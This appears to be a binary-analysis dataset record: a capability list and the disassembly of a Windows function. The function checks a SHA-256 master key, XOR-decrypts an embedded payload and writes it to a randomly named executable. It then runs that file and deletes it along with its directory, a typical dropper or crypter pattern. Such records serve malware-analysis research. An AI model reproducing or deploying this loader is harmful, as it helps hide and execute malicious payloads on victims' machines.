Function at 0x4017ed
Capabilities:
Create directory
Create process on windows
Delete directory
Delete file
Enumerate files on windows
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, rsp
mov rbx, rax
lea rcx, str.Enter_the_master_key:
call sym.printf
lea rax, [rbp + 0x2d0]
mov rdx, rax
lea rcx, str._64s
call sym.scanf
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.sha256_hash
lea rax, [rbp + 0x2b0]
mov r8d, 0x20
lea rdx, [0x00410840]
mov rcx, rax
call sym.memcmp
test eax, eax
je 0x401899
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Incorrect_master_key._n
call sym.fwrite
mov eax, 1
jmp 0x401c11
mov rax, qword [0x00410820]
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x330], rdx
mov r12, rax
mov r13d, 0
mov rsi, rax
mov edi, 0
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.004030b0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x328], rax
mov rdx, qword [0x00410820]
mov rax, qword [rbp + 0x328]
mov r8, rdx
lea rdx, [0x00404020]
mov rcx, rax
call sym.memcpy
mov rdx, qword [0x00410820]
mov rax, qword [rbp + 0x328]
mov r9d, 0x20
lea r8, [0x00410840]
mov rcx, rax
call sym.xor_encrypt_decrypt
movabs rax, 0x5a6d6e6c49434162
mov qword [rbp + 0x2a7], rax
mov byte [rbp + 0x2af], 0
lea rax, [rbp + 0x2a7]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rax, [rbp + 0x1a0]
lea rdx, str.bACIlnmZ_nhlgjGYE.exe
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0x1a0]
lea rdx, [0x004110ad]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x320], rax
cmp qword [rbp + 0x320], 0
jne 0x4019c5
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x21
mov edx, 1
lea rcx, str.Could_not_create_temporary_file._n
call sym.fwrite
mov eax, 1
jmp 0x401c11
mov rdx, qword [0x00410820]
mov rax, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x320]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x320]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x130]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x130], 0x68
lea rax, [rbp + 0x110]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x110]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x130]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x401ace
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1d
mov edx, 1
lea rcx, str.Could_not_start_the_process._n
call sym.fwrite
mov eax, 1
jmp 0x401c11
mov rax, qword [rbp + 0x110]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.remove
test eax, eax
je 0x401b51
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Could_not_delete_the_file._n
call sym.fwrite
mov eax, 1
jmp 0x401c11
lea rax, [rbp - 0x30]
mov rdx, rax
lea rcx, [0x0041110c]
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x318], rax
mov dword [rbp + 0x33c], 1
cmp qword [rbp + 0x318], 0xffffffffffffffff
je 0x401bf3
lea rax, [rbp - 0x30]
add rax, 0x2c
lea rdx, [0x00411117]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x401bc5
lea rax, [rbp - 0x30]
add rax, 0x2c
lea rdx, [0x00411119]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x401bc5
mov dword [rbp + 0x33c], 0
jmp 0x401be0
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0x318]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x401b83
mov rax, qword [rbp + 0x318]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
cmp dword [rbp + 0x33c], 0
je 0x401c0c
lea rcx, str.bACIlnmZ
mov rax, qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call rax
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 0x348]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret